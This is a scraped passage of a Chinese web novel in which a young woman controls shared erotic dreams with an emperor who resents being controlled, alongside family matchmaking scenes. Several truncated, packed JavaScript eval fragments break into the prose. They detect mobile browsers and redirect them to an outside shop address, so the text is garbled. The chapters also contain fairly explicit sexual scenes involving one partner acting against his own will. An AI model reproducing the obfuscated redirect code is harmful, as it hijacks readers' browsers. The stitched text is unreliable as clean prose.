l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100594|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别,转身回了房中。
今日的房间有些古怪,不是平时寄瑶熟悉的样子,竟凭空多出一个阗白玉雕的汤池来。轻纱掩映,水面洁净,袅袅热气正在徐徐上升。
寄瑶轻“咦”了一声,心想,多半是因为白天在女学,女夫子提到汤池,故此才会梦见。
走过去,矮身试一试水温。汩汩热流在手心淌过,舒服得她微微眯起了眼睛。心念微动间,已置身于汤泉中。
她想了想,一片片花瓣不知从何处飘来,打着旋儿落在水面上。
现实中寄瑶并不会水,但在梦里,她可以会。不但会,还能自在畅游。
她甚至在脑海里勾勒了一幅画面:她正在汤泉戏水,郎君端着托盘站在池边,或是喂她吃点水果、或是递上一盏热茶。
对,就这样。
这么一想,寄瑶一抬眸,果真看见郎君端着托盘自轻纱后转出。
他穿一身素衣,衣领半敞,露出胸前一小片肌肤,却仍眉目清冷。
寄瑶笑笑,冲他招一招手,有意撒娇:“郎君,我想吃樱桃。”
……
秦渊发现自己又一次进入了那个怪梦,而且衣衫不整。
面前是一个汤池,池中女子正在游水。
水波荡漾,她白皙柔软的身体隐约可见。
秦渊眉心突突直跳,心头浮上一个清晰的猜测:她又想玩新花样。
是鸳鸯戏水?还是鸳鸯浴?
反正不管怎样,到最后肯定又是男女之事。
这个女人真是……
忽听她道:“郎君,我想吃樱桃。”
秦渊心中冷笑,却不能自控。他不由自主地近前几步,挑出一枚红艳艳的、犹带着水滴的樱桃,小心放到她口边。
他就站在汤池旁边,目光所及之处,是清澈的水面,以及水面下女子若隐若现的躯体。
女子发髻高耸,偶尔有一绺发丝垂下,被水打湿了,湿漉漉地黏在颊侧,一滴水珠在锁骨处滚动,将落未落。
秦渊呼吸一窒。
没记住她的脸,倒清楚地记住了她的身体。
哪怕闭着眼,他都能想象出水下的画面。
偏偏就在此时,那女子凑过来,张口去咬樱桃,濡湿的舌尖不知是有意还是无意,扫过他的手指,一股酥麻感沿着手指瞬间蔓延至四肢百骸。
秦渊蓦的身体一紧,竟隐隐有点期待她接下来的动作。
然而不过是数息之后,他就猛然反应过来。
他刚才在发什么昏?竟然会被她这种不入流的手段撩拨得晃了眼。
20.不甘
偏生寄瑶对此无知无觉。
梦中五感俱全,皆十分真实。樱桃酸甜的汁水在口腔中弥漫开来,很合寄瑶的口味。
她甜甜一笑,撒娇道:“我还要吃,郎君,你喂我。”
秦渊身不由己,强压着种种情绪,又拈了一枚樱桃喂她。
然而寄瑶并不急着吃,而是将樱桃含在口中,趁他低头之际,突然抬手揽住他的脖颈,用唇舌将樱桃送入他嘴里。
秦渊猝不及防,便觉女子柔软的身体扑了过来,带着汤池里的水,瞬间浸湿了他的素白衣裳。
轻薄的衣衫湿透,黏在身上,各种感官异常清晰。
秦渊脑子“嗡”的一声,全身的血液却好似集中到了另一处。
他待伸手将她推开,可她身上滑溜溜的,他竟不知该往何处下手。
这一迟疑的功夫,寄瑶已抢先一步,轻笑着游走了。
口中的樱桃不知道何时破开,酸甜可口,身体却胀得难受。
秦渊目光低垂,深吸一口气。
他暗中咬牙,心想,不就是鸳鸯浴么?她可真是煞费苦心。
反正他在梦中不能自控,早晚是要被迫妥协的,她又何必使这些手段?
不料,那女子好似忘了一般,竟自顾自地玩水,像一条鱼,无拘无束在水中畅游。
直到梦境结束,都没再进行下一步。
秦渊从梦中醒来时,脸色异常难看,直接起身去了净室。
过得许久后,他才从净室出来,面无表情地吩咐:“备水!”
“是。”
秦渊脚步微顿,强调一句:“冷水。”
如今已是五月,泡在冷水中,秦渊整个人瞬间冷静下来。不管是欲念还是怒火,都熄灭许多。
但想到梦里种种情形,他狠狠拍打了一下水面。
水花四溅,年轻的天子又气又恼又不甘。
有朝一日,若那女子出现在他面前,不管她是人是妖是鬼是仙,他一定会狠狠报复回去。
一定。
……
寄瑶原计划是想在梦里尝试第五页的,但突然多出来一个汤池,她就临时改了主意,只痛快玩水。
这也不错,是个很新奇的体验。
寄瑶一夜好眠。
次日在女学,四妹妹品瑶忽然问她:“二姐姐昨天去了木樨院?”
品瑶和千瑶这对双胞胎姐妹就是四房的。如今突然询问,寄瑶心里一惊。
她面上却不显露多少,只摇一摇头,十分老实的模样:“本来是要去的,还带了点心呢。但是走到半路,觉得只带点心不好,就又回去了。想着改天准备妥当了,再去拜访四叔四婶。”
“这样啊。”品瑶点一点头,“我说呢,听下人说恍惚看见二姐姐去过,又没见到你的人影。还以为出什么事了呢。”
寄瑶只腼腆一笑:“没有没有。”
品瑶歪了歪头,好奇地问:“二姐姐去木樨院,原本是要做什么的?”
“我画了画,想让四婶婶指点一下。”寄瑶诚恳道。
这个倒不是撒谎。
“这样啊。”品瑶不再问了。
寄瑶也松一口气。
倒是小堂妹梦瑶好奇地问:“什么画?给我看看。”
“回头给你看。”寄瑶随口回答一句糊弄了过去。
不料,傍晚寄瑶回到海棠院不久,就有个四房的丫鬟来寻她,说是四太太有请。
寄瑶心头一跳,暗想:莫不是因为昨日之事?疑心她听见了那些不好的话?
她不大想去,偏又不好拒绝,想了一想,找了一幅画带上。
一路上,寄瑶暗暗打定主意。反正不管怎样,就装傻,就说自己没进去,没听见,什么都不知道。
凭她素日老实人的形象,应当不会有人怀疑的。
这么一想,寄瑶心里踏实许多。
然而出乎意料的是,到了木樨院,四婶并不提昨日之事,反而甚是温柔和煦:“你这孩子,怎么跟四婶也客气?不带礼物难道就不能来了么?”
寄瑶摇头,有些局促的样子:“我不是这个意思,我,我是不好意思打扰四婶。”
“说什么打扰不打扰?在我眼里,你和品瑶千瑶她们都一样,没什么分别。有什么不懂的,或是有什么女儿家的烦心事,都可以和我说。”
寄瑶连忙称是。
四婶话锋一转:“你原本要给我看什么画?”
寄瑶忙拿出自己画的一幅画,恭敬请教。
四太太陈文君含笑接过,端详片刻后,先三言两语先夸赞其优点,后又委婉指出其画中不足。有理有据,令人信服。
说话间,陈文君还取过笔,蘸了墨,在画上简单修改几笔。
她擅丹青,不是虚言,经她妙手一改,原本还有些生涩的画登时生动许多。
寄瑶画技平平,但眼光还是有的。她看得眼睛一亮,夸赞道:“真好!怪不得祖父说……”
才说得几个字,便止住了话头。
“嗯?你祖父说什么?”
“祖父说婶婶擅丹青,让我平时多向婶婶请教。”寄瑶小心说道。
在她心里,自是希望你好我好大家好,最好能四婶解除对祖父的误解。一家人和睦相处。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104198|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈文君笑笑,意味不明:“我这算什么,比我强的人多的是。”
她略过这个话题,又指点几句。
见天色已晚,陈文君索性留寄瑶在木樨院用膳。
寄瑶不好拒绝,只得应下,和四叔一家共用晚餐。
四叔四婶膝下共二子二女,品瑶和千瑶居长。下面还有两个儿子,一个六岁,一个四岁,俱是活泼好动的年岁。
在乳母的照看下,这两个小孩用膳时不吵不闹,格外乖巧。
桌上其他人更是安静,只能偶尔听见盘碟相碰的声音。
寄瑶莫名地紧张,也不敢多吃,勉强用一些,便放下了筷子。
她不敢久待,只小坐一会儿,就告辞离去。
时候不早,四太太陈文君让乳母打发两个儿子睡觉,她也回房休息。
四老爷方景半靠在床上,看妻子卸钗环,有点没话找话:“你对寄瑶倒很亲近嘛。”
陈文君不搭腔,仿佛没有听见。
方景有些讪讪,轻咳一声,胡乱拿一本翻着,书页哗哗直响。
陈文君小心摘下耳环,收入首饰匣中,这才扭头问:“你觉得她怎么样?”
“啊?谁?你说寄瑶吗?”方景放下书,回想了一下这个侄女的模样,“老实,安静,长得随她娘。性子不知道随了谁。”
说着,他笑一笑,凑过去揽妻子的肩膀。
陈文君推开他,正色道:“我和你说正事呢。”
方景含糊不清道:“我也做正事……”
陈文君皱眉,拿起发钗在丈夫手上不轻不重打了一下:“我是问你,把她说给庆云怎么样?”
“谁?你侄子?”方四老爷脸上的笑意慢慢收敛了,踌躇道,“不太合适吧?”
“怎么不合适?哪里不合适?”
方景随口道:“庆云年龄有点大了。”
“哪里大了?庆云才二十一,寄瑶十六。两人差五岁,又不是差六岁。我看就很合适。”陈文君道,“今天我回娘家,我哥又提起来了,说想和方家亲上加亲。品瑶和千瑶年纪小,属相相冲,我看寄瑶就很合适……”
方景欲言又止,终是忍不住道:“算了吧,我二哥当年十九岁就中探花。庆云二十一了,还只是个童生,这肯定不行。爹那关都过不了。”
陈文君心中不快,但也知道丈夫说的是实情。可庆云当初若在方家族学读书,未必就不能中秀才。
她心里有气,半晌说出一句:“那也不全是爹一人说了算的。”
“什么?”
陈文君不说话了,心想,万一寄瑶自己愿意呢?
21.刺激
寄瑶回到海棠院,已是戌正。
时候不早,她没有再看棋谱,匆匆洗漱过后,便去就寝。
房间内安安静静。
不多时,寄瑶又一次进入了梦中。
梦里终于换了时节。
夏日炎炎,知了在外面不停地叫着,更添几分燥意。
寄瑶身着轻罗纱衣,在床上纳凉。一偏头,看见郎君躺在身侧,双目微阖,似是睡着了。
乌眉浓密,鼻梁高挺。
寄瑶越看越满意,果真不愧是她幻想出来的人,闭上眼睛也这般好看。
她一时意动,悄悄靠过去,在他唇上亲了一下。心想:我一亲,他就会醒过来,睁开眼睛看我。
这么一想,面前之人立刻睫羽轻颤,睁开了双眼。
……
秦渊刚一入梦,就看到一双眸子,秋水盈盈,横波滟滟,正笑意融融看着他。
四目相对,他愣怔了一瞬,随即才意识到又是那个女人。
她以手支颐,半靠在他身侧,呼吸间,浅浅淡淡的香气萦绕在他鼻端。
上一个梦里的情景突然浮现在脑海。秦渊想也不想,重新阖上双目。
“嗯?”寄瑶有些意外,又亲亲他的唇,玩闹般轻咬他鼻尖,“醒啦醒啦,不要再睡了,起来陪我玩嘛。”
她的撩拨手段并不高明,但梦里的身体似乎有记忆。
就这么简单的举动,秦渊感觉自己明显又有了反应。他试图屏息,喉结却不由自主地滚动了一下。
寄瑶心思一动,低头去亲他,在他耳边小声道:“郎君,我们试试第五页的样式好不好?我昨晚就想试的,可是只顾着玩水,给忘了。”
秦渊一言不发,心中冷笑:他就知道,最终还是那事。
上次不要,这次又要。
真把人当成召之即来挥之即去的纾解工具吗?
寄瑶不知道他心中所想。她说是和郎君商量,但在她心里,事情肯定能成。即便不成,那也能控成。
谁让这是她的梦呢?
不过寄瑶今天心情好,时间也多,不刻意控制梦里人的一言一行,而是轻轻亲亲他的嘴唇,又亲一亲他的下巴。
好奇心起,她还试探性地亲了亲郎君滚动的喉结。
夏天衣衫单薄,两人离得又近,寄瑶很快察觉到了他身体的异样。
她微微一怔,心想,这也不是木头嘛!
但她有些不解:那他怎么不进行下一步?难道是不知道那第五页是什么样式?
心思微动间,风月图第五页的图画便清晰地浮现在半空中。
寄瑶心想:这下肯定可以了,接下来他就会依着画上行事。
秦渊眼神微变,下一瞬,发现自己又彻底不能自控了。
他心中暗恼,又仿佛早已习惯。
秦渊不受控制地迅速起身,将女子温柔抱起,一边细致亲吻,一边熟练解衣。
女子肌肤雪白,有时会泛起淡淡的粉色。身体更是柔软得不可思议,甚至能折叠到肩头去。
毫无疑问,秦渊对这一切是抵触的。他久居高位,实在无法容忍这种被控制、不得自由的事情,可偏偏又真真切切觉得快意。
是的,快意。尽管他心里不承认,但身体不会骗人。
快意仿佛海浪层层,一浪高过一浪,最后如涨潮般汹涌而至,几乎将他整个人淹没。
所有的杂念都在一瞬间被抛之脑后。
那一刻,他不再与身体的本能相抗,索性放任自流。抓住她光滑细腻的腿,继续行事。
寄瑶迷迷糊糊发觉情况有异:咦,怎么又来?
她刚要开口,就被郎君低头堵住了唇。
两人唇齿相依,肢体交缠。
他力道极大。
寄瑶身子不自觉轻颤,一时间意识朦胧,忘了原本想要说的话,也忘了再去刻意控梦,只当这是自己内心深处的想法,任他胡闹。
从梦中醒来之后,寄瑶睁着双眼,一动不动。
天啊!
她是真没想到,自己竟然能在梦中放纵到这个地步。
真是荒唐又刺激。
全身上下没有一丁点痕迹,可寄瑶身体酸软,半分力气也不剩。分明是在提醒她刚在梦里经历了什么。
在床上赖了好一会儿,她才悄悄起身收拾。
重新躺在床上后,寄瑶身上仍有些酸麻。
她深吸一口气,暗暗告诫自己:以后再不能这样了。一定得克制。即便是梦里,也不能这般放纵。
……
紫宸宫内殿。
秦渊一起身就去了净室。
“备水。”
这一次,他没特意强调冷水,内监不敢擅自做主,准备的水温度适宜。
秦渊没多说什么,只将自己浸在水中。
温热的水流淌过他的身体,年轻的皇帝双目微阖,一语不发。
或许是这次在梦里得到餍足的缘故,秦渊眉间的戾气散去一些。虽然仍有不快,但心态已比先前平和许多。
他心里甚至浮起一个念头:算了,既然在梦中无法自控,就暂时随它去吧。
反正对身体无害,反正他又改变不了。
刚才在梦里不也挺得趣的吗?若能一直像方才那个梦的后半场那般恣意,做这怪梦也不是不行。
但须臾之间,秦渊就心中一凛,强行压下了这不该有的荒谬想法。
疯了吗?他是天子,九五之尊,怎么能有这种念头?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108884|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忘了自己在梦里不能自控的时候吗?!
不行,他绝不能这样放任下去。
天刚亮,秦渊便命人出宫,去紫云观宣云鹤道人觐见。
谁知,半天后,被派去的人回复,云鹤道人有事外出,不在观中,十天后才能回来。
秦渊此时正忙于政务,没有多话,只挥一挥手,令人退下。
“陛下,要不要带人把他抓回来?”
“不用。”
秦渊心想,十天时间,他还是等得起的。
……
寄瑶的生活照常进行。
只多了一样。——四婶陈文君近来时常派人请她去木樨院,指点她画技。
长辈好意,寄瑶不便拒绝,当下学得极为认真。
她原本就在女学读书,闲暇时候还要看棋谱。如今多了学画,一时间甚是忙碌。连续数夜不曾控梦。
这日休沐,一大早,四房的丫鬟就又催寄瑶过去。
寄瑶也不多想,匆匆前往。
然而她才坐一会儿,便有客至。——是四婶的娘家侄子前来探视姑姑。
见四婶这边有客人,寄瑶心知不便打扰,待要回避,却被四婶拉住。
“你这孩子,避什么?自家亲戚,又不是外人。来,我给你介绍。这是你陈家表哥。和你一样,也爱下棋。改天你们可以手谈一局。”陈文君说着招呼侄子,“庆云,这是你二表妹。”
陈庆云当即拱手施礼:“二表妹。”
寄瑶点一点头,算是打招呼。她不想打扰他们姑侄相见,匆忙找个理由告辞。
“去吧去吧。”陈文君微微一笑,极其随和地挥一挥手。
寄瑶迅速离去,径直回了海棠院。
双喜端着粽子进来,好奇地问:“姑娘怎么这么快回来了?不是去四太太那儿学画吗?”
“四婶婶那里有客人。”寄瑶剥开了一个粽子,含糊回答。
粽子有些黏腻,寄瑶吃了半个就丢开手,继续琢磨棋谱。
谁知次日,她竟又在木樨院见到了陈庆云。
寄瑶有些奇怪,也不多想,随便找个理由就离开了。
傍晚,四婶陈文君来海棠院找她。
寄瑶忙请四婶入座,又亲自奉茶。
陈文君接过茶盏,放在一边,含笑道:“让双喜退下,咱们俩说点悄悄话。”
寄瑶抬眸看一眼双喜。后者会意,退了出去。
“寄瑶。”四婶拉住寄瑶的手,“这里没有外人,我也就不拐弯抹角了。你觉得我侄儿庆云怎样?”
寄瑶眼皮一跳:“婶婶说什么?什么怎样?”
难道是进方家族学的事情,想让她帮忙在祖父面前说情?可惜她人微言轻,求情不一定管用。
22.反应
陈文君笑道:“你快十七了,到了该议亲的时候。你三妹妹比你小,就已经订亲了。你这做姐姐的,心里真没一丁点想法?”
寄瑶一怔,这才反应过来是怎么回事。
她硬着头皮,中规中矩地回答:“婚姻大事,自有祖父做主,我没什么想法。”
似乎所有人都觉得三妹妹订亲,她该着急的,可她真的没那么急。
“是祖父做主,可也不能全听你祖父的,也要看你自己的心思。”陈文君笑笑,语气温柔,“寄瑶,你长得这般好看,难道不想找个模样俊俏的?”
她听丈夫说,这个侄女爱俏,正巧她侄子又生得极好。
寄瑶涨红了脸,一时不知道该如何回答。
陈文君见她脸红,心想多半有戏,又道:“我那侄儿,相貌好,人品端正,和你一样爱下棋,家里父母又通情达理。你若有意,我这就让他父母遣媒人正式和你祖父提亲。”
看寄瑶神色有异,陈文君又续道:“至于你祖父那边,你不用担心。这种亲上加亲的好事,你同意了,他还能一直不点头?”
见话已说到这份上,寄瑶也顾不得慢慢思考措辞,匆忙开口:“四婶,这,这不行。我不同意。”
“什么?”陈文君微愕,疑心自己听错了,“你看不上他?”
她的侄子虽然眼下功名不显,但模样俊俏,面如冠玉,唇红齿白,端的是风流俊逸。而且今日特意装扮一番,更显英俊。
想嫁给他的姑娘不知有多少,只因陈家对他的婚事格外慎重才拖延至今。
寄瑶常年在闺中,连年轻男子都没见过几个。见到这般人物,竟丝毫不心动?就这样斩钉截铁地拒绝?
不可能啊,不是每次见到都羞得躲开吗?
“不不不……”寄瑶委婉道,“这件事不行。”
陈文君心念微动:“怎么不行?你心里有人?”
“没有。”寄瑶连忙否认。
陈文君不愿意以长辈身份逼迫一个小姑娘,但到底为自己侄子不平:“那你是嫌他长得不好看?”
寄瑶继续摇头。
她心里却想,好看吗?可能是好看的,但远远不及她梦中的郎君。那才是真的合她心意。
当然,最重要的不是这个。
“那你嫌什么?人品?家境?功名?”
寄瑶说不上来。
“我再问一次,你当真不愿意?”陈文君的耐心几乎告罄。
寄瑶低垂着脑袋,想了想,终是忍不住道:“四婶婶如果觉得好,可以和祖父说。我的事情终究是要祖父做主的。”
就算是问她的心意,那也该是由祖父把过关后再来问她。而不是先让她同意,再来倒逼祖父点头。
她素来胆小老实,在终身大事上更是谨慎,绝不可能越过祖父私下给出承诺。
寄瑶自认这话说的没什么毛病,合情合理,也符合她的身份。
然而陈文君却面色一沉,冷笑道:“哦,知道了,你是尚书府的千金小姐,眼光高。我们家小门小户的,高攀不起。”
她面带怒容,直接出门而去。
“四婶,我不是这意思。”寄瑶起身去追,却没能追上。
她叹一口气,重新回到房中。
“姑娘,怎么瞧着四太太走的时候很不高兴的样子?”双喜从外面进来,不解地问。
寄瑶胡乱应了一声:“是有点儿不高兴。”
可是她感觉自己也没说错什么呀。
唉,现实中人和人相处,要是有她梦里那样轻松就好了。
陈文君回到木樨院时,还面带怒容。
方景看她神色,猜测事情多半没成。
果真,下一瞬,他就听妻子怒气冲冲地道:“不是说她要找好看的吗?居然连庆云都看不上,真是好笑!”
——寄瑶重色一事,方景无意间对妻子提过一嘴。他和侄女们素日来往不多,但先前三侄女订亲,他向父亲问起寄瑶的亲事。结果父亲含糊回了一句“小姑娘家爱俏,和你二哥一样,眼光高,非要找好看的。”他回来当玩笑话和妻子说了。
没想到妻子竟还真想从这方面入手,促成婚事。
但是怎么可能呢?他们这样的人家,万没有越过长辈私下订亲的。妻子平时精明,偏偏一碰上娘家的事,就有点犯糊涂了。
“还说什么,我要觉得庆云好,就先和她祖父提。祖父同意了,再来和她说。”陈文君有点被气笑。
方景忍不住插口说:“这话说得也没错,婚姻大事嘛,总是要长辈点头的。那孩子胆子小,你也知道。”
陈文君瞪了丈夫一眼,没好气道:“和她祖父提?要是她祖父能轻易答应,我至于先和她说吗?这个看不上,那个看不上。我倒要看看,她将来能找个什么样的!”
方景忙递一盏茶,小心劝慰。
品瑶和千瑶两姐妹对视一眼,默不作声,均心情复杂。
……
寄瑶知道,自己可能得罪四婶婶了。
从那日过后,四房再没派丫鬟叫她过去学画。
寄瑶壮着胆子去木樨院,结果只得到一句“四太太这会儿在忙,二姑娘先回去吧”。
鼓起的勇气消失后,寄瑶也就不再继续尝试了。
她又回到了先前的生活。
其实这样也不错,至少清闲很多。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112360|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人一闲下来,心思就活泛。
这天,寄瑶又一次生出了控梦的心思。
夜间暑气渐退,寄瑶放下纱帐,挡住外面照进来的光亮。
她沉沉睡去,不多时,就再次进入梦中。
梦境的一开始是寄瑶在赏花。
很快,她意识到自己在梦里,心念微转,眼前的场景就跟着变了。
她置身于海棠院,满院的桃花谢了,每棵树上都结着又大又甜的桃子。
寄瑶想了想,还是有点不满意。心思一动,郎君从一棵桃树后转了出来。
俊美挺拔,身姿清逸。依然是她喜欢的模样。
寄瑶眼睛一亮,疾行数步,一把抱住了他:“郎君!”
……
秦渊已有多日不曾入梦。
这夜不知怎么,竟又进入了这怪梦中。
桃花变成了桃子,但还是熟悉的地方。
刚意识到自己在梦里,女子柔软的身体就扑了个满怀。
秦渊下意识便要推开她,然而刚一抬手,她就从他怀里退了出去,拉着他的衣袖撒娇:“我好想你啊。”
声音娇柔,满是依恋。
秦渊微微一怔,不知怎么,竟想起了上次梦境里,她最后力竭、靠在他怀里时,可怜又勾人的模样。
但他还是面无表情抽出了衣袖。
寄瑶没留意这点细节,只含笑问:“好几天不见了,你想不想我?”
她想,郎君肯定会说:“想,当然想。”
“想,当然想。”话语不受控制地从口中说出,秦渊发现自己又不能控梦了,方才心里那莫名的一丝丝柔软也在瞬间消失殆尽,取而代之的是恼意。
又来了,又是这种不能控制的感觉。
寄瑶嫣然一笑:“我们说会儿话好不好?”
“说什么?”
“就随便说点啊。我好多话想和你说的。”
寄瑶心思一动,桃林里顿时多出一张贵妃榻。
她拉着郎君坐下,打算倾诉自己最近的烦恼。可话到嘴边,发现好像也没什么可烦的。
虽然得罪了四婶,但四婶也只是不再教她画画,不搭理她,并未刻意为难她。
说自己幼失父母吧,可在梦里,她有爹娘,也不想戳破这一点幻影。
于是,寄瑶就枕在郎君膝上,把玩着他的手指,百无聊赖说一些废话:说荡秋千,说学画,说下棋。
零零碎碎,叽叽喳喳。
秦渊突然发现,自己好像又能控梦了。
与此同时,他发现另外一件事:她的脑袋在他腿上这样不安分地动来动去,他竟然又有了反应。
23.清醒
秦渊脸色有些难看。
他不清楚这是不是一种新的撩拨手段。
但他绝不可能这样席天幕地的,与她行那种事。
秦渊毫不犹豫地抽出了正被她把玩的手指。
乍然手中空空,寄瑶一怔,也不起身,只偏了偏头,抬眸看着他,红唇轻启:“郎君,你要干什么呀?”
从秦渊的角度,能看见她形如红菱的唇一张一合,粉嫩的舌隐约可见。
不知怎么,他突然想起那次在汤池旁,喂她吃樱桃时,她舌尖扫过他的指腹时的感觉。
秦渊身体骤然一紧,鬼使神差的,他将手指伸入了女子口中。
寄瑶不解,以为是他在同自己玩闹,张口在他手指上不轻不重咬了一下。
微微的疼痛传来,秦渊瞬间清醒了几分,脸色更加难看。
不是,他刚才在做什么?疯了吗?能控制梦却主动同她……
秦渊待要推开她,而寄瑶已经发现了他衣衫下明显的异样。
她半直起身,盯了两眼,略一犹豫,说道:“那你抱我回房。先说好,不能像上回那样放纵,一次就行。”
秦渊想哂笑,却发觉自己又不能控梦了。
他一声不吭,俯身将她抱起,一路行至房中。
原本还亮着的天突然变黑。
房中却甚是亮堂。
寄瑶不太喜欢风月图上第六页的样式,有点犹豫要不要绕过去,就偏头问郎君:“你喜欢哪样?”
她想听一听自己内心深处的声音,干脆放空心思。
“都不喜欢。”秦渊话一出口,才发现自己似乎又能控制了。
但他什么都没做,先静观其变。
“啊?”寄瑶讶然,心想,怎么回事?难道自己内心深处觉得不能沉溺于梦中虚幻的刺激?
她对自己这么严苛的吗?
可是,她好久不曾控梦,今日就是想放松一下啊。
寄瑶不去深想,只指一指册子:“不行,必须选一个。”
秦渊随手指向第六页:“这个。”
寄瑶看看册子,又看看郎君,欲言又止,好一会儿才道:“行吧,行吧,那就试一试。”
她想,可能是因为她好奇心重,虽然不是特别喜欢,但也想一个一个地在梦里都试试?
既然如此,那就试试吧。
寄瑶定一定神,捧起郎君的脸颊,在他唇上重重亲了一下,又去亲他喉结。
秦渊身体一紧,下意识回吻,同时异常熟练地除去她的衣裙,几乎吻遍她全身。
依着第六页的样式,让她塌腰趴在身前。
而他则半跪在她身后,蓄势待发。
然而就在此刻:秦渊猛然意识到一件事:从她询问他喜欢哪个样式开始,直到现在,他一直是能控梦的。
也就是说,他是在完全清醒的情况下,亲她、脱衣、摆出这样的姿态……
秦渊眼神微变。
要继续吗?
正迟疑间,秦渊忽觉天旋地转,竟是被人压在了身下,同时双手双足被绸带束缚,丝毫动弹不得。
——寄瑶到底还是不大喜欢第六页的样式,临时决定跳过去。于是她又一次刻意控了梦。
秦渊倒吸一口冷气,想要恢复方才模样却不能够。
几乎是在一瞬间,他失去了对梦的控制。
上次在书房,他好歹还能握着她的腰,这次则是半分动弹不得。
一时间,憋屈感伴随着快意袭来,秦渊竟分不清哪个更重一些。
……
寄瑶发现,自己挺喜欢这种驰骋的感觉,和那次在书房有点相似,却又不同。虽然比起其他样式,少了点刺激,但居于上位的掌控感很好地弥补了这一点不足。
她双手撑在郎君胸前,时不时地低头亲一下他的唇。
不足一刻钟,她就脑海一片空白,只留下一个念头:这回千万不能放纵,不能像上次那样。
为防意外,寄瑶硬生生提前结束了梦境。
睁开眼,月光隔着薄薄的纱帐透进来。
月色朦胧。
寄瑶轻舒一口气:这回不错,只有一次。刺激归刺激,但不至于太放纵。
……
是夜。
紫宸宫内殿。
骤然从梦中醒来时,秦渊面色铁青,额上青筋暴起,又生出了那种想杀人的冲动。
不同于上回,这次别说尽兴了。不但手足被缚,还偏停在他不上不下时。
他简直就是被当作了纾解的工具。
身体犹自难受,秦渊暂且压下种种念头,直接起身去了净室。
随后,又命人备水、沐浴。
整个人浸泡在冷水里,秦渊才冷静了些许。
上次因为梦中太过恣意,他刚醒过来时还隐约闪过一点“这样下去也不是不行”的荒唐念头。虽然这念头只是一闪而过,但内心深处还是留下了一丝丝的放任痕迹。
这次的梦则彻底碾碎了那点侥幸:一两次的快意根本无法掩盖他被怪梦纠缠、不能自控的事实。
他必须彻底解决这怪梦。
“云鹤道人呢?速召他进宫。”出浴后,秦渊冷声问。
算算时间,那云鹤道人也该回来了。
“是,陛下。”
……
云鹤道人是昨天下午回到紫云观的。
一大早,宫里就来人了。
第二次面圣,云鹤道人较上次要从容镇定许多。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116510|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在偏殿等了约莫两刻钟,他才见到皇帝,忙恭敬施礼。
“你的控梦之法不管用。”秦渊开门见山,声色极冷。
云鹤道人一怔,没想到陛下再次召他进宫,居然还是为了梦。
正在努力思考措辞,却听陛下又道:“……时灵时不灵。”
“时灵时不灵?”云鹤道人讶然,“陛下是不是有的时候意识不到自己在做梦?”
“不,朕每次都很清楚地知道自己就在梦中。”皇帝一字一字道,“但在梦里,有时能控制,有时不能。”
云鹤道人皱眉,奇怪。
按理来说,能控梦第一次就能控梦第二次,绝不可能出现时灵时不灵的情况。
他忍不住问:“敢问陛下做的都是些什么梦?”
还是像上次那样梦见同一个人吗?
皇帝面色一沉,目光冰冷如刀,却不回答他这个问题:“你只用说控梦失灵的原因就行。”
云鹤道人双眉蹙得更紧,心想,周公解梦还得知道梦的内容呢。你不说具体的梦,让我怎么猜?我是能掐会算,可又不是神仙。
但面对天子,他只能忖度着道:“具体缘由,贫道暂时不知。不过,若陛下不愿为怪梦所扰,倒也容易。”
“哦?”
“这世上大多数人每晚都会做梦,只是很多人一睁眼就忘,以为自己没做梦。陛下不喜欢那些梦,贫道有法子让陛下只当没梦见过。”
秦渊语气古怪:“当没梦见过?”
“是的。毫无印象,和一夜无梦没有任何差别。”
秦渊哂笑,一般的梦记不住也就罢了。他那些怪梦,靠记不住当没梦见过,与自欺欺人有什么两样?
但他仍问一句:“什么法子?”
“忘梦丹。”
秦渊轻“唔”一声,令人呈上。
